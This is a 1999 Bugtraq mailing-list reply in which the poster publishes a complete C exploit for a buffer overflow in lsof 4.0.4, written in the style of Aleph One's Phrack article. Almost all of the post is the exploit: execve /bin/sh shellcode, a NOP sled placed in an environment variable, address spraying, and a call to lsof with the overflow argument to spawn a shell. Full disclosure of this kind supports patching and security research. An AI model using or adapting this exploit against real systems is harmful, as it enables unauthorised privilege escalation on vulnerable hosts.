[9736] in bugtraq
Re: [HERT] Advisory #002 Buffer overflow in lsof
daemon@ATHENA.MIT.EDU (Zhodiac)
Mon Feb 22 16:51:50 1999
Date: Sun, 21 Feb 1999 23:38:22 +0100
Reply-To: zhodiac@usa.net
From: Zhodiac <zhodiac@USA.NET>
To: BUGTRAQ@NETSPACE.ORG
Hi BUGTRAQ
So here is the xploit for linux... since HERT does not make it availeable I
will do for them...
Greets :)
Zhodiac
-----------lsof-xploit.c-------------
/*
*
* Xploit for lsof 4.0.4 by Zhodiac <zhodiac@usa.net>
* Based on Aleph's article in phrack49
*
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 32
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
char comando[512];
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
printf("\nXploit for lsof 4.04 by zhodiac <zhodiac@usa.net>\n\n");
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
snprintf(comando,511,"lsof -u %s",buff);
system(comando);
}
------------ lsof-xploit.c----------------------
--
Type Bits/KeyID Date User ID
pub 1024/B3B64055 1998/12/28 zhodiac@usa.net
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